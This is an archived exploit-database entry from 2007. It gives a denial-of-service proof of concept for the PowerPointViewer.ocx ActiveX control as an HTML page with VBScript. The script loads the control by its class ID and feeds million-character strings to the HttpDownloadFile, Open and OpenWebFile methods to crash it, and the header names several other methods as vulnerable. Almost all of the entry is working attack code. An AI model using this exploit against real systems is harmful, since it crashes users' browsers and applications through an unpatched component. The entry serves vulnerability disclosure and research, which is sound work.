PowerPoint Viewer OCX 3.2 - ActiveX Control Denial of Service

EDB-ID:

3826

Author:

shinnai

Type:

dos

Platform:

Windows

Published:

2007-05-01

<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/01</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>PowerPointViewer.ocx v. 3.1.0.3 multiple methods Denial of Service</b>
 url: http://www.officeocx.com/
 price: from €63.95 (update to last version) to €1,585.95 (Royalty)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
 Theese methods are vulnerable too:

 <b>DoOleCommand</b>
 <b>FTPDownloadFile</b>
 <b>FTPUploadFile</b>
 <b>HttpUploadFile</b>
 <b>Save</b>
 <b>SaveWebFile</b>
-----------------------------------------------------------------------------

<object classid='clsid:97AF4A45-49BE-4485-9F55-91AB40F22B92' id='PowerPointOCX' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
  <option value = "HttpDownloadFile">HttpDownloadFile</option>
  <option value = "Open">Open</option>
  <option value = "OpenWebFile">OpenWebFile</option>
  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "HttpDownloadFile" then
     argCount = 2
     arg1=String(1000000,"A")
     arg2="defaultV"
     PowerPointOCX.HttpDownloadFile arg1, arg2
   elseif Pucca.value = "Open" then
     argCount = 1
     arg1=String(1000000, "A")
     PowerPointOCX.Open arg1
   elseif Pucca.value = "OpenWebFile" then
     argCount = 1
     arg1=String(1000000, "A")
     PowerPointOCX.OpenWebFile arg1
   else
     MyMsg = MsgBox ("...And when he knew for certain" & vbCrLf &_
     "Only drowning men could see him" & vbCrLf &_
     "He said: 'All men will be sailors then" & vbCrLf &_
     "Until the sea shall free them'...",64 ,"2007/05/01 - PowerPointViewer 3.1")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-01]